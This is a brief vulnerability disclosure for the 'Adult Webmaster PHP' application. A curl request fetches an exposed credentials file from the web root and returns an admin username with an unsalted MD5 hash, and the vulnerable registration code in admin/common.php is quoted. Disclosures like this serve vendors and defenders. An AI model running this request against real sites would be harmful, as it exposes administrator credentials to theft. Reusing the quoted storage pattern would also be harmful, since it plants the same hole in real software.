ADULT WEBMASTER PHP PASSWORD DISCLOSURE

Exploit:Adult Webmaster PHP - Password Disclosure
Author: vinicius777

Email/Twitter: vinicius777 [AT] gmail  @vinicius777_
Vendor Homepage: http://sourceforge.net/projects/adultweb/
 
  

Administrative Credential Disclosure

PoC:

 
root@kali:/# curl http://localhost/home/caspers/public_html/demo/admin/userpwdadfasdfre.txt
 
admin:3a4ebf16a4795ad258e5408bae7be341
 

Vulnerable Code:

admin/common.php
 
        // Check user existance
        $pfile = fopen("userpwdadfasdfre.txt","a+");
    rewind($pfile);
 
    while (!feof($pfile)) {
        $line = fgets($pfile);
        $tmp = explode(':', $line);
        if ($tmp[0] == $user) {
            $errorText = "The selected user name is taken!";
            break;
        }
    }
 
    // If everything is OK -> store user data
    if ($errorText == ''){
                // Secure password string
                $userpass = md5($pass1);
 
                fwrite($pfile, "\r\n$user:$userpass");
    }
 
    fclose($pfile);